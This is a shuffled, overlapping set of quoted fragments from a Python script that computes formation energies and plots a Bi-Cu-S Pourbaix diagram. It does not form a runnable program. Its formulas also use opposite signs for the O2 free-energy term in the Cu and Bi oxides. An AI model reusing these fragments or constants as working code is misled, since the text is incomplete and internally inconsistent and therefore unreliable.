"dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2);",
"species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4",
"Free Energies of Formation ######################### #Free Energies of Formation in eV/f.u. ##Elemental Bismuth",
"species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1",
"or species[p, 5])): #save species in array t=1 a = np.array([[species[k, 3],species[m, 3],",
"-2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S);",
"species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0",
"combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else:",
"species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0",
"Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123",
"composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+',",
"#BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2",
"import save from numpy import load #Created by <NAME>, 2018-2020 #Contributions by <NAME>",
"species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1",
"dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529",
"species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3",
"materials stored, the next three are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax",
"for i in range(0, n+1): #calculate the energies for each species number pH=lowpH+(i*pHcount);",
"Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES",
"species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ########",
"and species[p, 3] ==0) or \\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k,",
"dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F;",
"species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2",
"############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F;",
"species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1",
"#BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1",
"species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1",
"dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F;",
"current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution",
"fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in",
"elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color =",
"muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:'",
"random #For saving/importing data from numpy import asarray from numpy import save from",
"-(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2);",
"############################################################################### #should be as long as there are specicies considered #populate with smaller",
"-2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S);",
"= pHrange/n; #used to iterate through pH range #Applied Potential Range and Constants",
"species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1",
"elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"laurenwalters \"\"\" import numpy as np import matplotlib.pyplot as plt import random #For",
"flag=0 #if so, find the composition though linear algebra. try: f=np.linalg.solve(a, composition) except:",
"2]=-1 for k in range(0, len(species)): for m in range(0, len(species)): for p",
"call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or \\ (species[m, 3]==0 and",
"H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num,",
"species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0",
"2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num,",
"#V Ucount = Urange/n; #used to iterate through U (energy) range ############################################################################### ########################",
"will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the",
"current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle);",
"t=0 #If there is at least one multi-element species in this combination if(flag==1):",
"species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur",
"on Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy as np",
"current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0])",
"next three are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH])",
"#BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0",
"species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1",
"Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1",
"- 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5=",
"-7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S);",
"species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5",
"k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"= int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used to iterate through pH",
"#Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2",
"5]==0 and species[p, 5] ==0) or \\ (species[k, 5]==0 and species[p, 5] ==0)):",
"p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the mu",
"-2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2)",
"the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color =",
"for h in range(1, 20): for i in range(1, 20): for j in",
"pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])):",
"the materials stored, the next three are the colors index=0; fig =plt.figure() ax=plt.subplot(111)",
"= [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix",
"first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for",
"species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count #######################################################",
"species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1",
"-8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol",
"U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.',",
"species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10",
"dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F;",
"#CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations try:",
"Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies",
"dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8))",
"species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2",
"species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2",
"0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus=",
"species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0",
"-(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2);",
"dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F;",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]):",
"3]) \\ and (species[k, 4]>0 or species[m, 4] >0 or species[p, 4]) \\",
"############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The",
"Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated",
"species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2",
"species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2",
"species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0",
"species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus",
"5] ==0) or \\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if so,",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and",
"dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F;",
"with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are",
"PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619;",
"dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F;",
"at the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0,",
"Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ###############################################################################",
"species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur",
"==0) or \\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if so, find",
"Formation ######################### #Free Energies of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898",
"3]>0 or species[m, 3] >0 or species[p, 3]) \\ and (species[k, 4]>0 or",
"#save species in array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k,",
"n+1): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j in range(0,n+1):",
